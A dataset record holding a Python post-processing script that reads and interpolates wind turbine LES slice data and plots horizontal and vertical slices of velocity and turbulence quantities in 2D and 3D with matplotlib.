"max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 18.0, "max_line_length": 39, "alphanum_fraction": 0.6388888889, "include": true, "reason": "import numpy", "num_tokens": 85, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.38861802670584894, "lm_q2_score": 0.1347759104723777, "lm_q1q2_score": 0.05237634837525958}}
{"text": "\"\"\"\nRead and Visualize Horizontal/Vertical Slices in 2/3D\n\"\"\"\nimport numpy as np\nimport os\nfrom Utility import timer\nfrom scipy.interpolate import griddata\nfrom PlottingTool import Plot2D, Plot2D_InsetZoom, PlotSurfaceSlices3D, PlotContourSlices3D, pathpatch_translate, pathpatch_2d_to_3d\ntry:\n    import PostProcess_AnisotropyTensor as PPAT\nexcept ImportError:\n    raise ImportError('\\nNo module named PostProcess_AnisotropyTensor. Check setup.py and run'\n                      '\\npython setup.py build_ext --inplace')\n\ntry:\n    import cpickle as pickle\nexcept ModuleNotFoundError:\n    import pickle\n\nimport matplotlib.pyplot as plt\nfrom matplotlib.path import Path\nfrom matplotlib.patches import Circle, PathPatch\nimport SliceData as PPSD\nfrom DataBase import *\nfrom copy import copy\n\n\"\"\"\nUser Inputs\n\"\"\"\ntime = 'latestTime'  #'23243.2156219'\ncasedir = '/media/yluan'\n# casename = 'RANS/N_H_OneTurb_LowZ_Rwall2'  #'RANS/N_H_OneTurb_Simple_ABL'  #'URANS/N_H_OneTurb'  # 'ALM_N_H_ParTurb'\ncasename = 'ALM_N_H_OneTurb'\n# properties = ('kResolved', 'kSGSmean')\nproperties = ('UAvg',)\n# slicenames = ('oneDupstreamTurbine', 'rotorPlane', 'oneDdownstreamTurbine')\n# slicenames = ('threeDdownstreamTurbine', 'fiveDdownstreamTurbine', 'sevenDdownstreamTurbine')\nslicenames = ('hubHeight', 'quarterDaboveHub', 'turbineApexHeight')\n# slicenames = ('groundHeight', 'hubHeight', 'turbineApex')\n# Subscript for the slice names\nslicenames_sub = 'Slice'\n# Height of the horizontal slices, only used for 3D horizontal slices plot\nhorslice_offsets = (90., 121.5, 153.)\nhorslice_offsets2 = ((90., 90.), (121.5, 121.5), (153., 153.))\nresult_folder = 'Result'\n# Orientation of x-axis in x-y plane, in case of angled flow direction\n# Only used for values decomposition and confinebox\n# Angle in rad and counter-clockwise\nrot_z = np.pi/6.\n# Turbine radius, only used for confinebox\nr = 63\n# For calculating total <epsilon> only\nnu = 1e-5\n\n\n\"\"\"\nPlot Settings\n\"\"\"\n# Which type(s) of plot to make\nplot_type = '3D'  # '2D', '3D', 'all'\n# Total number cells intended to plot via interpolation\ntarget_meshsize = 1e5\ninterp_method = 'linear'\n# Number of contours, only for 2D plots or 3D horizontal slice plots\ncontour_lvl = 200\n# Label of the property, could be overridden below\nval_label = 'Data'\next = 'png'\nshow, save = False, True\ndpi = 1000\n\n\n\"\"\"\nProcess User Inputs\n\"\"\"\n# Ensure slicenames is a tuple\nslicenames = (slicenames,) if isinstance(slicenames, str) else slicenames\n# Confined region auto definition\nif 'OneTurb' in casename:\n    # For rotor plane vertical slices\n    if 'oneDupstream' in slicenames[0] or 'threeDdownstream' in slicenames[0]:\n        turb_borders, turb_centers_frontview, confinebox, confinebox2 = OneTurb('vert')\n        if 'three' in slicenames[0]:\n            confinebox = confinebox2\n            turb_centers_frontview = turb_centers_frontview[3:]\n        else:\n            turb_centers_frontview = turb_centers_frontview[:3]\n\n    # For horizontal slices\n    elif 'hubHeight' in slicenames[0] or 'groundHeight' in slicenames[0]:\n        # Confinement for z doesn't matter since the slices are horizontal\n        confinebox = ((800, 2400, 800, 2400, 0, 216),)*len(slicenames)\n        turb_borders, turb_centers_frontview, confinebox, _ = OneTurb('hor')\n\nelif 'ParTurb' in casename:\n    if 'oneDupstream' in slicenames[0] or 'threeDdownstream' in slicenames[0]:\n        # Read coor info from database\n        turb_borders, turb_centers_frontview, confinebox, confinebox2 = ParTurb('vert')\n        if 'threeDdownstream' in slicenames[0]:\n            confinebox = confinebox2\n            turb_centers_frontview = turb_centers_frontview[6:]\n        else:\n            turb_centers_frontview = turb_centers_frontview[:6]\n\n    elif 'hubHeight' in slicenames[0] or 'groundHeight' in slicenames[0]:\n        turb_borders, turb_centers_frontview, confinebox, _ = ParTurb('hor')\n\nelse:\n    turb_borders = ((99999,)*4,)\n    turb_centers_frontview = ((99999,)*3,)*6\n    confinebox = confinebox2 = [[5., 2995., 5., 2995., 5., 995.]]*10\n\n# If you don't want confinement\n# confinebox = confinebox2 = [[5., 2995., 5., 2995., 5., 995.]]*10\n\n# Automatic view_angle and figure settings, only for 3D plots\nif 'oneDupstream' in slicenames[0] or 'threeDdownstream' in slicenames[0]:\n    view_angle = (20, -80) if 'one' in slicenames[0] else (20, -95)\n    equalaxis, figwidth = True,  'half'\nelif 'groundHeight' in slicenames[0] or 'hubHeight' in slicenames[0]:\n    view_angle = (25, -115)\n    equalaxis, figwidth = False, 'half'\nelse:\n    view_angle = (20, -100)\n    equalaxis, figwidth = True, 'full'\n\n# Unify plot_type user inputs\nif plot_type in ('2D', '2d'):\n    plot_type = '2D'\nelif plot_type in ('3D', '3d'):\n    plot_type = '3D'\nelif plot_type in ('all', 'All', '*'):\n    plot_type = 'all'\n\nif 'U' in properties[0]:\n    val_lim = (0, 12)\n    val_lim_z = (-2, 2)\n    val_label = [r'$\\langle U_\\mathrm{hor} \\rangle$ [m/s]', r'$\\langle w \\rangle$ [m/s]']\nelif 'k' in properties[0]:\n    val_lim = (0, 2.5)\n    val_lim_z = None\n    if 'Resolved' in properties[0]:\n        val_label = (r'$\\langle k_\\mathrm{resolved} \\rangle$ [m$^2$/s$^2$]',) if len(properties) == 1 else (r'$\\langle k \\rangle$ [m$^2$/s$^2$]',)\n    elif 'SGS' in properties[0]:\n        val_label = (r'$\\langle k_\\mathrm{SGS} \\rangle$ [m$^2$/s$^2$]',)\n    else:\n        val_label = (r'$\\langle k \\rangle$ [m$^2$/s$^2$]',)\n\nelif 'uuPrime2' in properties[0] or 'R' in properties[0]:\n    val_lim = (-0.5, 2/3.)\n    val_lim_z = None\n    val_label = (r\"$\\langle u'u' \\rangle$ [-]\", r\"$\\langle u'v' \\rangle$ [-]\", r\"$\\langle u'w' \\rangle$ [-]\",\n                 r\"$\\langle v'v' \\rangle$ [-]\", r\"$\\langle v'w' \\rangle$ [-]\",\n                                                r\"$\\langle w'w' \\rangle$ [-]\")\nelif \"epsilon\" in properties[0]:\n    val_lim = None\n    val_lim_z = None\n    if 'SGS' in properties[0]:\n        val_label = (r'$\\langle \\epsilon_{\\mathrm{SGS}} \\rangle$ [m$^2$/s$^3$]',) if 'mean' in properties[0] else (r'$\\epsilon_{\\mathrm{SGS}}$ [m$^2$/s$^3$]',)\n    elif 'Resolved' in properties[0]:\n        val_label = (r'$\\langle \\epsilon_{\\mathrm{resolved}} \\rangle$ [m$^2$/s$^3$]',)\n    else:\n        val_label = (r'$\\langle \\epsilon \\rangle$ [m$^2$/s$^3$]',)\n\nelif 'G' in properties[0]:\n    val_lim = (-0.05, 0.17)\n    val_lim_z = None\n    val_label = (r'$\\langle P_k \\rangle$ [m$^2$/s$^3$]',)\n\nelse:\n    val_lim = None\n    val_lim_z = None\n    val_label = ('data',)\n\n\"\"\"\nRead Slice Data\n\"\"\"\n# Initialize case\ncase = PPSD.SliceProperties(time=time, casedir=casedir, casename=casename, rot_z=rot_z, result_folder=result_folder)\n# Read slices\ncase.readSlices(properties=properties, slicenames=slicenames, slicenames_sub=slicenames_sub)\n\nlist_x2d, list_y2d, list_z2d, list_val3d, list_val3d_z = [], [], [], [], []\n# Go through specified slices and flow properties\nfor i in range(len(case.slicenames)):\n    # for i, slicename in enumerate(case.slicenames):\n    slicename = case.slicenames[i]\n    vals2d = case.slices_val[slicename]\n    # If kResolved and kSGSmean in properties, get total kMean\n    if 'kResolved' in properties and 'kSGSmean' in properties:\n        print(' Calculating total <k> for {}...'.format(slicenames[i]))\n        slicename2 = case.slicenames[i + len(slicenames)]\n        vals2d += case.slices_val[slicename2]\n    # # Else if epsilonSGSmean and nuSGSmean in properties then get total epsilonMean\n    # # By assuming isotropic homogeneous turbulence and\n    # # <epsilon> = <epsilonSGS>/(1 - 1/(1 + <nuSGS>/nu))\n    # elif 'epsilonSGSmean' in properties and 'nuSGSmean' in properties:\n    #     print(' Calculating total <epsilon> for {}...'.format(slicenames[i]))\n    #     slicename2 = case.slicenames[i + len(slicenames)]\n    #     vals2d_2 = case.slices_val[slicename2]\n    #     # Determine which vals2d is epsilonSGSmean or nuSGSmean\n    #     nusgs_mean, epsilonSGSmean = (vals2d, vals2d_2) if 'epsilonSGSmean' in slicename2 else (vals2d_2, vals2d)\n    #     # Calculate epsilonMean\n    #     vals2d = case.calcSliceMeanDissipationRate(epsilonSGSmean = epsilonSGSmean, nusgs_mean = nusgs_mean, nu = nu)\n\n    # Interpolation\n    x2d, y2d, z2d, vals3d = case.interpolateDecomposedSliceData_Fast(case.slices_coor[slicename][:, 0], case.slices_coor[slicename][:, 1], case.slices_coor[slicename][:, 2], vals2d, \n                                                                     slice_orient=case.slices_orient[slicename], rot_z=case.rot_z,\n                                                                     target_meshsize=target_meshsize,\n                                                                     interp_method=interp_method,\n                                                                     confinebox=confinebox[i])\n\n    # Flatten if vals3d only have one component like a scalar field\n    if vals3d.shape[2] == 1:\n        vals3d = vals3d.reshape((vals3d.shape[0], vals3d.shape[1]))\n\n    # Calculate magnitude if U\n    if 'U' in properties or 'UAvg' in properties:\n        vals3d_hor = np.sqrt(vals3d[:, :, 0]**2 + vals3d[:, :, 1]**2)\n        vals3d_z =  vals3d[:, :, 2]\n    else:\n        vals3d_hor = vals3d\n        vals3d_z = None\n\n    # Append 2D mesh to a list for 3D plots\n    if plot_type in ('3D', 'all'):\n        list_x2d.append(x2d)\n        list_y2d.append(y2d)\n        list_z2d.append(z2d)\n        list_val3d.append(vals3d_hor)\n        list_val3d_z.append(vals3d_z)\n\n    # Determine the unit along the vertical slice since it's angled, only for 2D plots of vertical slices\n    if case.slices_orient[slicename] == 'vertical':\n        # # If angle from x-axis is 45 deg or less\n        # if lx >= ly:\n        #     rot_z = np.arctan(lx/ly)\n        if confinebox is None:\n            lx = np.max(x2d) - np.min(x2d)\n            ly = np.max(y2d) - np.min(y2d)\n        else:\n            lx = confinebox[i][1] - confinebox[i][0]\n            ly = confinebox[i][3] - confinebox[i][2]\n\n        r2d = np.linspace(0, np.sqrt(lx**2 + ly**2), x2d.shape[0])\n\n    # Break if i finishes all kResolved or kSGSmean\n    if 'kResolved' in properties and 'kSGSmean' in properties and i == (len(slicenames) - 1):\n        break\n    elif 'epsilonSGSmean' in properties and 'nuSGSmean' in properties and i == (len(slicenames) - 1):\n        break\n\n\n    \"\"\"\n    Plotting\n    \"\"\"\n    xlabel, ylabel = (r'$x$ [m]', r'$y$ [m]') \\\n        if case.slices_orient[slicename] == 'vertical' else \\\n        (r'$x$ [m]', r'$y$ [m]')\n    # Figure name\n    if 'kResolved' in properties and 'kSGSmean' in properties:\n        figname = 'kMean_' + slicenames[i] + slicenames_sub\n    elif 'epsilonSGSmean' in properties and 'nuSGSmean' in properties:\n        figname = 'epsilonMean_' + slicenames[i] + slicenames_sub\n    else:\n        figname = slicename\n\n    if plot_type in ('2D', 'all'):\n        slicePlot = Plot2D(x2d, y2d, vals3d, name=figname, xlabel=xlabel, ylabel=ylabel, val_label= val_label, save=save, show=show, figdir=case.result_path)\n        slicePlot.initializeFigure()\n        slicePlot.plotFigure(contour_lvl=contour_lvl)\n        slicePlot.finalizeFigure()\n\nif plot_type in ('3D', 'all'):\n    zlabel = r'$z$ [m]'\n    # Figure name for 3D plots\n    if 'kResolved' in properties and 'kSGSmean' in properties:\n        figname_3d = 'kMean_' + str(slicenames)\n    elif 'epsilonSGSmean' in properties and 'nuSGSmean' in properties:\n        figname_3d = 'epsilonMean_' + str(slicenames)\n    else:\n        figname_3d = str(case.slicenames)\n\n    if case.slices_orient[slicename] == 'horizontal':\n        show_xylabel = (False, False)\n        show_zlabel = True\n        show_ticks = (False, False, True)\n        # Initialize plot object for horizontal contour slices\n        plot3d = PlotContourSlices3D(list_x2d, list_y2d, list_val3d, horslice_offsets, gradient_bg=False, name=figname_3d, xlabel=xlabel, ylabel=ylabel, zlabel=zlabel, val_label=val_label[0], save=save, show=show, figdir=case.result_path, viewangle=view_angle, figwidth=figwidth, equalaxis=equalaxis, cbar_orient='vertical',\n                                          figheight_multiplier=1.75,\n                                          val_lim=val_lim,\n                                     zlim=None)\n        # If there's a z component e.g. Uz, initialize it separately\n        if list_val3d_z[0] is not None:\n            plot3d_z = PlotContourSlices3D(list_x2d, list_y2d, list_val3d_z, horslice_offsets, gradient_bg=False,\n                                              name=figname_3d + '_z', xlabel=xlabel, ylabel=ylabel, zlabel=zlabel,\n                                              val_label=val_label[1], save=save, show=show, figdir=case.result_path,\n                                              viewangle=view_angle, figwidth=figwidth, equalaxis=equalaxis,\n                                              cbar_orient='vertical',\n                                              figheight_multiplier=1.75,\n                                              val_lim=val_lim_z,\n                                           zlim=None)\n    elif case.slices_orient[slicename] == 'vertical':\n        show_xylabel = (True, True)\n        show_zlabel = False\n        show_ticks = (True, True, False)\n        patch = Circle((0., 0.), 63., alpha=0.5, fill=False, edgecolor=(0.25, 0.25, 0.25), zorder=100)\n        patches = []\n        for i in range(10):\n            patches.append(copy(patch))\n\n        patches = iter(patches)\n        # Initialize vertical surface plot instance\n        plot3d = PlotSurfaceSlices3D(list_x2d, list_y2d, list_z2d, list_val3d, xlabel=xlabel, ylabel=ylabel, zlabel=zlabel, val_label=val_label[0], name=figname_3d, save=save, show=show, figdir=case.result_path, viewangle=view_angle, figwidth=figwidth, equalaxis=equalaxis, cbar_orient='horizontal',\n                                          val_lim=val_lim)\n        # Again separate instance for z component\n        if list_val3d_z[0] is not None:\n            plot3d_z = PlotSurfaceSlices3D(list_x2d, list_y2d, list_z2d, list_val3d_z, xlabel=xlabel, ylabel=ylabel,\n                                              zlabel=zlabel, val_label=val_label[1], name=figname_3d + '_z', save=save,\n                                              show=show, figdir=case.result_path, viewangle=view_angle,\n                                              figwidth=figwidth, equalaxis=equalaxis, cbar_orient='horizontal',\n                                              val_lim=val_lim_z)\n\n    plot3d.initializeFigure(constrained_layout=True)\n    plot3d.plotFigure(contour_lvl=contour_lvl)\n    if casename not in ('ABL_N_H', 'ABL_N_L'):\n        if case.slices_orient[slicename] == 'horizontal':\n            for i in range(len(horslice_offsets)):\n                plot3d.axes.plot([turb_borders[0][0], turb_borders[0][2]], [turb_borders[0][1], turb_borders[0][3]], zs=horslice_offsets2[i], alpha=0.5, color=(0.25, 0.25, 0.25),\n                                 # Very important to set a super larger value\n                                 zorder=500 + i*500)\n        else:\n            for i in range(len(list_x2d)):\n                p = next(patches)\n                plot3d.axes.add_patch(p)\n                pathpatch_2d_to_3d(p, z=0, normal=(0.8660254037844, 0.5, 0.))\n                pathpatch_translate(p, turb_centers_frontview[i])\n\n    plot3d.finalizeFigure(tight_layout=False, show_ticks=show_ticks, show_xylabel=show_xylabel, show_zlabel=show_zlabel)\n    # For Uz or any other z component\n    if list_val3d_z[0] is not None:\n        plot3d_z.initializeFigure()\n        plot3d_z.plotFigure(contour_lvl=contour_lvl)\n        if casename not in ('ABL_N_H', 'ABL_N_L'):\n            if case.slices_orient[slicename] == 'horizontal':\n                for i in range(len(horslice_offsets)):\n                    plot3d_z.axes.plot([turb_borders[0][0], turb_borders[0][2]], [turb_borders[0][1], turb_borders[0][3]],\n                                     zs=horslice_offsets2[i], alpha=0.5, color=(0.25, 0.25, 0.25), zorder=500 + i*500)\n            else:\n                for i in range(len(list_x2d)):\n                    p = next(patches)\n                    plot3d_z.axes.add_patch(p)\n                    pathpatch_2d_to_3d(p, z=0, normal=(0.8660254037844, 0.5, 0.))\n                    pathpatch_translate(p, turb_centers_frontview[i])\n\n        plot3d_z.finalizeFigure(show_ticks=show_ticks, show_xylabel=show_xylabel, show_zlabel=show_zlabel)\n\n\n\n\n\n\n\n\n# \"\"\"\n# User Inputs\n# \"\"\"\n# casedir = 'J:'  # '/media/yluan/Toshiba External Drive/'\n# casedir = '/media/yluan/Toshiba External Drive/'\n# casename = 'ALM_N_H_OneTurb'  # 'ALM_N_H_ParTurb'\n# time = 23275.1388025  # 22000.0918025 20000.9038025\n# # slicenames = ['alongWind', 'groundHeight', 'hubHeight', 'oneDaboveHubHeight', 'oneDdownstreamTurbineOne', 'oneDdownstreamTurbineTwo', 'rotorPlaneOne', 'rotorPlaneTwo', 'sixDdownstreamTurbineTwo', 'threeDdownstreamTurbineOne', 'threeDdownstreamTurbineTwo', 'twoDupstreamTurbineOne']\n# # For Upwind and Downwind turbines\n# # slicenames = ['oneDdownstreamTurbineOne', 'oneDdownstreamTurbineTwo', 'rotorPlaneOne', 'rotorPlaneTwo', 'sixDdownstreamTurbineTwo', 'threeDdownstreamTurbineOne', 'threeDdownstreamTurbineTwo', 'twoDupstreamTurbineOne']\n# # # For Parallel Turbines\n# # slicenames = ['alongWindRotorOne', 'alongWindRotorTwo', 'twoDupstreamTurbines', 'rotorPlane', 'oneDdownstreamTurbines', 'threeDdownstreamTurbines', 'sixDdownstreamTurbines']\n# # slicenames = ['groundHeight', 'hubHeight', 'oneDaboveHubHeight']\n# # slicenames = ['rotorPlane','sixDdownstreamTurbines']\n# slicenames = ['alongWind']\n# # Only for PlotContourSlices3D\n# sliceOffsets = (5, 90, 153)\n# propertyName = 'uuPrime2'\n# fileExt = '.raw'\n# precisionX, precisionY, precisionZ = 1000j, 1000j, 333j\n# interp_method = 'nearest'\n#\n#\n# \"\"\"\n# Plot Settings\n# \"\"\"\n# figwidth = 'full'\n# # View angle best (15, -40) for vertical slices in rotor plane\n# view_angle, equalaxis = (15, -45), True\n# xLim, yLim, zLim = (0, 3000), (0, 3000), (0, 1000)\n# show, save = False, True\n# xlabel, ylabel, zlabel = r'$x$ [m]', r'$y$ [m]', r'$z$ [m]'\n# # valLabels = (r'$b_{11}$ [-]', r'$b_{12}$ [-]', r'$b_{13}$ [-]', r'$b_{22}$ [-]', r'$b_{23}$ [-]', r'$b_{33}$ [-]')\n# # valLabels = (r'$\\langle u\\rangle$ [m/s]', r'$\\langle v\\rangle$ [m/s]', r'$\\langle w\\rangle$ [m/s]')\n# if propertyName == 'U':\n#     valLabels = (r'$U$ [m/s]', r'$U$ [m/s]', r'$U$ [m/s]')\n# elif propertyName == 'uuPrime2':\n#     valLabels = (r'$b_{11}$ [-]', r'$b_{12}$ [-]', r'$b_{13}$ [-]', r'$b_{22}$ [-]', r'$b_{23}$ [-]', r'$b_{33}$ [-]', r'$k_{\\rm{resolved}}$ [m$^2$/s$^2$]')\n#\n#\n# \"\"\"\n# Process User Inputs\n# \"\"\"\n# # Combine propertyName with slicenames and Subscript to form the full file names\n# # Don't know why I had to copy it...\n# fileNames = slicenames.copy()\n# for i, name in enumerate(slicenames):\n#     slicenames[i] = propertyName + '_' + name + '_Slice'\n#     fileNames[i] = slicenames[i] + fileExt\n#\n# figDir = casedir + casename + '/Slices/Result/' + str(time)\n# try:\n#     os.makedirs(figDir)\n# except FileExistsError:\n#     pass\n#\n#\n# \"\"\"\n# Functions\n# \"\"\"\n# @timer\n# @jit\n# def readSlices(time, casedir = '/media/yluan/Toshiba External Drive', casename = 'ALM_N_H', fileNames = ('*',), skipCol = 3, skipRow = 0):\n#     caseFullPath = casedir + '/' + casename + '/Slices/' + str(time) + '/'\n#     fileNames = os.listdir(caseFullPath) if fileNames[0] in ('*', 'all') else fileNames\n#     slices_val, slicesDir, slices_coor = {}, {}, {}\n#     for fileName in fileNames:\n#         vals = np.genfromtxt(caseFullPath + fileName)\n#         # partition('.') removes anything after '.'\n#         slices_coor[fileName.partition('.')[0]] = vals[skipRow:, :skipCol]\n#         # If max(z) - min(z) < 1 then it's assumed horizontal\n#         slicesDir[fileName.partition('.')[0]] = 'vertical' if (vals[skipRow:, skipCol - 1]).max() - (vals[skipRow:, skipCol - 1]).min() > 1. else 'horizontal'\n#         slices_val[fileName.partition('.')[0]] = vals[skipRow:, skipCol:]\n#\n#     print('\\n' + str(fileNames) + ' read')\n#     return slices_coor, slicesDir, slices_val\n#\n#\n# @timer\n# @jit\n# def interpolateSlices(x, y, z, vals, sliceDir = 'vertical', precisionX = 1500j, precisionY = 1500j, precisionZ = 500j, interp_method = 'cubic'):\n#     # Bound the coordinates to be interpolated in case data wasn't available in those borders\n#     bnd = (1.00001, 0.99999)\n#     if sliceDir is 'vertical':\n#         # Known x and z coordinates, to be interpolated later\n#         knownPoints = np.vstack((x, z)).T\n#         # Interpolate x and z according to precisions\n#         x2d, z2d = np.mgrid[x.min()*bnd[0]:x.max()*bnd[1]:precisionX, z.min()*bnd[0]:z.max()*bnd[1]:precisionZ]\n#         # Then interpolate y in the same fashion of x\n#         y2d, _ = np.mgrid[y.min()*bnd[0]:y.max()*bnd[1]:precisionY, z.min()*bnd[0]:z.max()*bnd[1]:precisionZ]\n#         # In case the vertical slice is at a negative angle,\n#         # i.e. when x goes from low to high, y goes from high to low,\n#         # flip y2d from low to high to high to low\n#         y2d = np.flipud(y2d) if x[0] > x[1] else y2d\n#     else:\n#         knownPoints = np.vstack((x, y)).T\n#         x2d, y2d = np.mgrid[x.min()*bnd[0]:x.max()*bnd[1]:precisionX, y.min()*bnd[0]:y.max()*bnd[1]:precisionY]\n#         _, z2d = np.mgrid[x.min()*bnd[0]:x.max()*bnd[1]:precisionX, z.min()*bnd[0]:z.max()*bnd[1]:precisionZ]\n#\n#     # Decompose the vector/tensor of slice values\n#     # If vector, order is x, y, z\n#     # If symmetric tensor, order is xx, xy, xz, yy, yz, zz\n#     valsDecomp = {}\n#     for i in range(vals.shape[1]):\n#         if sliceDir is 'vertical':\n#             # Each component is interpolated from the known locations pointsXZ to refined fields (x2d, z2d)\n#             valsDecomp[str(i)] = griddata(knownPoints, vals[:, i].ravel(), (x2d, z2d), method = interp_method)\n#         else:\n#             valsDecomp[str(i)] = griddata(knownPoints, vals[:, i].ravel(), (x2d, y2d), method = interp_method)\n#\n#     return x2d, y2d, z2d, valsDecomp\n#\n#\n# @timer\n# @jit\n# def calculateAnisotropicTensor(valsDecomp):\n#     # k in the interpolated mesh\n#     # xx is '0', xy is '1', xz is '2', yy is '3', yz is '4', zz is '5'\n#     k = 0.5*(valsDecomp['0'] + valsDecomp['3'] + valsDecomp['5'])\n#     # Convert Rij to bij\n#     for key, val in valsDecomp.items():\n#         valsDecomp[key] = val/(2.*k) - 1/3. if key in ('0', '3', '5') else val/(2.*k)\n#\n#     return valsDecomp, k\n#\n#\n# @timer\n# @jit\n# def mergeHorizontalComponent(valsDecomp):\n#     valsDecomp['hor'] = np.sqrt(valsDecomp['0']**2 + valsDecomp['1']**2)\n#     return valsDecomp\n#\n#\n# \"\"\"\n# Read, Decompose and Plot 2/3D Slices\n# \"\"\"\n# slices_coor, slicesDir, slices_val = readSlices(time = time, casedir = casedir, casename = casename, fileNames = fileNames)\n#\n# # Initialize slice lists for multple slice plots in one 3D figure\n# horSliceLst, zSliceLst, list_x2d, list_y2d, list_z2d = [], [], [], [], []\n# # Go through slices\n# for slicename in slicenames:\n#     x2d, y2d, z2d, valsDecomp = interpolateSlices(slices_coor[slicename][:, 0], slices_coor[slicename][:, 1], slices_coor[slicename][:, 2], slices_val[slicename], sliceDir = slicesDir[slicename], precisionX = precisionX, precisionY = precisionY, precisionZ = precisionZ, interp_method = interp_method)\n#\n#     # For anisotropic stress tensor bij\n#     # bij = Rij/(2k) - 1/3*deltaij\n#     # where Rij is uuPrime2, k = 1/2trace(Rij), deltaij is Kronecker delta\n#     if propertyName == 'uuPrime2':\n#         valsDecomp, k = calculateAnisotropicTensor(valsDecomp)\n#         valsDecomp['kResolved'] = k\n#     elif propertyName == 'U':\n#         valsDecomp = mergeHorizontalComponent(valsDecomp)\n#\n#\n#     \"\"\"\n#     2D Contourf Plots\n#     \"\"\"\n#     xLim, yLim, zLim = (x2d.min(), x2d.max()), (y2d.min(), y2d.max()), (z2d.min(), z2d.max())\n#     plotsLabel = iter(valLabels)\n#     for key, val in valsDecomp.items():\n#         # if slicesDir[slicename] is 'vertical':\n#         #     slicePlot = Plot2D(x2d, z2d, z2d = val, equalaxis = True,\n#         #                                  name = slicename + '_' + key, figDir = figDir, xLim = xLim, yLim = zLim,\n#         #                                  show = show, xlabel = xlabel, ylabel = zlabel, save = save,\n#         #                                  zlabel = next(plotsLabel))\n#         #\n#         # else:\n#         #     slicePlot = Plot2D(x2d, y2d, z2d = val, equalaxis = True,\n#         #                        name = slicename + '_' + key, figDir = figDir, xLim = xLim, yLim = yLim,\n#         #                        show = show, xlabel = xlabel, ylabel = ylabel, save = save,\n#         #                        zlabel = next(plotsLabel))\n#         # slicePlot = Plot2D_InsetZoom(x2d, z2d, zoomBox = (1000, 2500, 0, 500), z2d = val, equalaxis = True, name = slicename + '_' + key, figDir = figDir, xLim = xLim, yLim = zLim, show = show, xlabel = xlabel, ylabel = zlabel, save = save, zlabel = next(plotsLabel))\n#         # plot_type = 'contour2D'\n#\n#         slicePlot = PlotSurfaceSlices3D(x2d, y2d, z2d, val, name = slicename + '_' + key + '_3d', figDir = figDir, xLim = xLim, yLim = yLim, zLim = zLim, show = show, xlabel = xlabel, ylabel = ylabel, zlabel = zlabel, save = save, cmapLabel = next(plotsLabel), viewAngles = view_angle, figwidth = figwidth)\n#         plot_type = 'surface3D'\n#\n#         slicePlot.initializeFigure()\n#         if plot_type == 'contour2D':\n#             slicePlot.plotFigure(contour_lvl = 100)\n#         else:\n#             slicePlot.plotFigure()\n#\n#         slicePlot.finalizeFigure()\n#\n#     if propertyName == 'U':\n#         horSliceLst.append(valsDecomp['hor'])\n#         zSliceLst.append(valsDecomp['2'])\n#\n#     list_x2d.append(x2d)\n#     list_y2d.append(y2d)\n#     list_z2d.append(z2d)\n\n\n\"\"\"\nMultiple Slices of Horizontal Component 3D Plot\n\"\"\"\n# if slicesDir[slicename] is 'horizontal':\n#     slicePlot = PlotContourSlices3D(x2d, y2d, horSliceLst, sliceOffsets = sliceOffsets, contour_lvl = 100, zLim = (0, 216), gradientBg = False, name = str(slicenames) + '_hor', figDir = figDir, show = show, xlabel = xlabel, ylabel = ylabel, zlabel = zlabel, cmapLabel = r'$U_{\\rm{hor}}$ [m/s]', save = save, cbarOrientate = 'vertical')\n# else:\n#     slicePlot = PlotSurfaceSlices3D(list_x2d, list_y2d, list_z2d, horSliceLst, name = str(slicenames) + '_hor', figDir = figDir, show = show, xlabel = xlabel,\n#                                     ylabel = ylabel, zlabel = zlabel, save = save, cmapLabel = r'$U_{\\rm{hor}}$ [m/s]', viewAngles = view_angle, figwidth = figwidth, xLim = xLim, yLim = yLim, zLim = zLim, equalaxis = equalaxis)\n#\n# slicePlot.initializeFigure()\n# slicePlot.plotFigure()\n# slicePlot.finalizeFigure()\n\n\n\"\"\"\nMultiple Slices of Z Component 3D Plot\n\"\"\"\n# if slicesDir[slicename] is 'horizontal':\n#     slicePlot = PlotContourSlices3D(x2d, y2d, zSliceLst, sliceOffsets = sliceOffsets, contour_lvl = 100,\n#                                     xLim = (0, 3000), yLim = (0, 3000), zLim = (0, 216), gradientBg = False,\n#                                     name = str(slicenames) + '_z', figDir = figDir, show = show,\n#                                     xlabel = xlabel, ylabel = ylabel, zlabel = zlabel,\n#                                     cmapLabel = r'$U_{z}$ [m/s]', save = save, cbarOrientate = 'vertical')\n# else:\n#     slicePlot = PlotSurfaceSlices3D(list_x2d, list_y2d, list_z2d, zSliceLst,\n#                                     name = str(slicenames) + '_z', figDir = figDir, show = show, xlabel = xlabel,\n#                                     ylabel = ylabel, zlabel = zlabel, save = save, cmapLabel = r'$U_{z}$ [m/s]', viewAngles = view_angle, figwidth = figwidth, xLim = xLim, yLim = yLim, zLim = zLim, equalaxis = equalaxis)\n#\n# slicePlot.initializeFigure()\n# slicePlot.plotFigure()\n# slicePlot.finalizeFigure()\n\n\n\n\n", "meta": {"hexsha": "1b19401f5a4c4128b24841b874bef2be9fce002f", "size": 27713, "ext": "py", "lang": "Python", "max_stars_repo_path": "Visual_Slices.py", "max_stars_repo_name": "YuyangL/SOWFA-Postprocess", "max_stars_repo_head_hexsha": "1c6b157a2a6afa76c9ffabe5edb5997ad57aa88a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2020-06-10T07:20:11.000Z", "max_stars_repo_stars_event_max_datetime": "2021-05-08T15:12:57.000Z", "max_issues_repo_path": "Visual_Slices.py", "max_issues_repo_name": "YuyangL/SOWFA-Postprocess", "max_issues_repo_head_hexsha": "1c6b157a2a6afa76c9ffabe5edb5997ad57aa88a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Visual_Slices.py", "max_forks_repo_name": "YuyangL/SOWFA-Postprocess", "max_forks_repo_head_hexsha": "1c6b157a2a6afa76c9ffabe5edb5997ad57aa88a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 46.6548821549, "max_line_length": 337, "alphanum_fraction": 0.6149099701, "include": true, "reason": "import numpy,from scipy", "num_tokens": 8444, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4765796659321433, "lm_q2_score": 0.10970577824417872, "lm_q1q2_score": 0.05228354314643649}}
